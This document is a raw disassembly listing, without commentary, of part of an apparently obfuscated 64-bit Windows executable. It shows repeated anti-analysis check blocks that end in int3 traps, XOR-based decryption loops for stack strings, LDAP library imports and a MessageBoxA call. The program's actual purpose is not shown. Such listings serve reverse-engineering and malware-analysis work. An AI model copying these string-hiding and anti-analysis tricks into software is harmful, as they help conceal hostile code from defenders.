mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000e0b1
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e091
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e091
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e0b1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
movdqa xmm0, xmmword [0x1400c0cc0]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400c0e00]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0x44887da5
mov dword [rbp + 0xbec], 0x296b45a4
mov dword [rbp + 0xbf0], 0x32250889
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r14
movabs r13, 0x144bec43e
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.14001c184
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
add rdi, rsi
cmp rdi, 0x2c
jb 0x14000e104
mov byte [rbp + 0xbf4], r14b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.140001d18
mov rax, qword gs:[0x24]
cmp rax, r12
movabs r13, 0x2beb6ad95121aad0
jne 0x14000e206
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e1e6
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e1e6
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e206
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000e2c1
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e2a1
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e2a1
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e2c1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
lea rcx, [rbp + 0x9f8]
call fcn.14000c734
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140001e28
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.14001d2a0
lea rcx, [rbp + 0x9f8]
call fcn.14001d1dc
lea rcx, [rbp + 0x9f8]
call fcn.140002338
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000e3b9
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e399
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e399
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e3b9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000e463
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e443
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e443
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e463
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov dword [rbp - 0x68], 0x7285802e
mov word [rbp - 0x64], 0x4432
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r14
movabs r13, 0x144bec43e
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.14001c10c
xor al, dil
mov byte [rbp + rdi - 0x68], al
add rdi, rsi
cmp rdi, 6
jb 0x14000e482
mov byte [rbp - 0x62], r14b
mov dword [rbp - 0x58], 0x72859237
mov word [rbp - 0x54], 0x4432
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r14
movabs r13, 0x2beb6ad95121aad0
movabs r15, 0x144bec43e
mov qword [rsp + 0x20], r15
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.14001c10c
xor al, dil
mov byte [rbp + rdi - 0x58], al
add rdi, rsi
cmp rdi, 6
jb 0x14000e4da
mov byte [rbp - 0x52], r14b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.14001d510
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.14001cee8
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.14001d03c
lea rcx, [rbp - 0x68]
call fcn.140001e80
mov rcx, rax
call fcn.140001e28
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.14001cd28
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.14001d03c
lea rdx, [0x1400cef60]
lea rcx, [rbp + 0xa78]
call fcn.14001cee8
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.14001d03c
lea rcx, [rbp + 0xa78]
call fcn.14001d1dc
lea rcx, [rbp + 0xa78]
call fcn.140002338
lea rcx, [rbp + 0xa58]
call fcn.14001d1dc
lea rcx, [rbp + 0xa58]
call fcn.140002338
lea rcx, [rbp + 0xa38]
call fcn.14001d1dc
lea rcx, [rbp + 0xa38]
call fcn.140002338
mov rax, qword gs:[0x24]
cmp rax, r12
mov r15d, 0xe1f6e62c
mov edi, 0x2afbab8a
jne 0x14000e69e
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e67e
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e67e
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e69e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000e757
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e737
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e737
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e757
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
lea rcx, [rbp + 0x1208]
call fcn.14001cb50
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.140082f70
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000e81b
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e7fb
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e7fb
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e81b
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000e8c5
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e8a5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e8a5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e8c5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.140001dd0
lea rcx, [rbp + 0x10e8]
call fcn.14001d278
nop
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000e99b
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e97b
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e97b
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e99b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000ea45
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ea25
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ea25
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ea45
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
lea rcx, [rbp + 0x11e8]
call fcn.14001cb50
mov r9b, sil
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.14000c29c
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000eb10
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000eaf0
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000eaf0
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000eb10
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov dword [rbp + 0x1e0], 0x4ebefb1b
mov dword [rbp + 0x1e4], 0xa0868cf5
mov dword [rbp + 0x1e8], 0x3ec556ab
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r14
movabs r15, 0x144bec43e
mov qword [rsp + 0x20], r15
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.14001c094
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
add rdi, rsi
cmp rdi, 0xc
jb 0x14000eb43
mov byte [rbp + 0x1ec], r14b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.14001d82c
test al, al
mov r15d, 0xe1f6e62c
je 0x14000f144
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000ec5a
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ec3a
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ec3a
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ec5a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
movdqa xmm0, xmmword [0x1400c0c00]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0xd73e001a
mov word [rbp + 0x7cc], 0xdbee
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r14
movabs r13, 0x144bec43e
mov qword [rsp + 0x20], r13
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.14001bfa8
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
add rdi, rsi
cmp rdi, 0x16
jb 0x14000ec92
mov byte [rbp + 0x7ce], r14b
movdqa xmm0, xmmword [0x1400c0de0]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400c0d50]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400c0db0]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400c0e60]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400c0dd0]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400c0d30]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400c0d00]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400c0cd0]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0xadc3256f
mov word [rbp + 0xde4], 0xb05b
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r14
mov ebx, 0x86
movabs r13, 0x2beb6ad95121aad0
movabs r15, 0x144bec43e
mov qword [rsp + 0x20], r15
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.14001c01c
xor al, dil
mov byte [rbp + rdi + 0xd60], al
add rdi, rsi
cmp rdi, rbx
jb 0x14000ed84
mov byte [rbp + 0xde6], r14b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov rcx, qword gs:[0x24]
cmp rcx, r12
mov r15d, 0xe1f6e62c
jne 0x14000ee9c
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x22ed25ae
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ee7c
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ee7c
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ee9c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000ef46
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ef26
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ef26
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ef46
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
cmp edi, 7
je 0x14001bd1e
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000f00c
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x22ed25ae
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000efec
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000efec
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f00c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140082048
int3
movdqa xmm0, xmmword [0x1400c0ce0]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400c0eb0]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400c0b60]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r14
movabs r13, 0x144bec43e
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.14001bf34
xor al, dil
mov byte [rbp + rdi + 0xc28], al
add rdi, rsi
cmp rdi, 0x2f
jb 0x14000f049
mov byte [rbp + 0xc57], r14b
lea rcx, [rbp + 0xc28]
call fcn.14008649c
mov rax, qword gs:[0x24]
cmp rax, r12
movabs r13, 0x2beb6ad95121aad0
jne 0x14000f144
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f124
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f124
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f144
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000f1ee
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f1ce
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f1ce
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f1ee
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.14001d098
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.14000c87c
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.14001cf74
lea rcx, [rbp + 0xab8]
call fcn.14001d1dc
lea rcx, [rbp + 0xab8]
call fcn.140002338
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000f2f4
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x22ed25ae
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f2d4
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f2d4
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f2f4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000f39e
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f37e
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f37e
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f39e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.14001d24c
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000f456
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f436
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f436
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f456
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000f500
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f4e0
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f4e0
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f500
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.14008690c
mov rbx, rax
mov qword [rbp - 0x40], rax
mov rcx, qword gs:[0x24]
cmp rcx, r12
jne 0x14000f5bd
mov rcx, qword gs:[0x3a]
xor rcx, r13
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x3a]
xor rcx, r13
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x3a]
xor rcx, r13
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f59d
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f59d
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f5bd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000f667
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f647
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f647
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f667
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov r15, qword [rbp + 0x10f8]
mov rax, qword gs:[0x24]
cmp rax, r12
jne 0x14000f72b
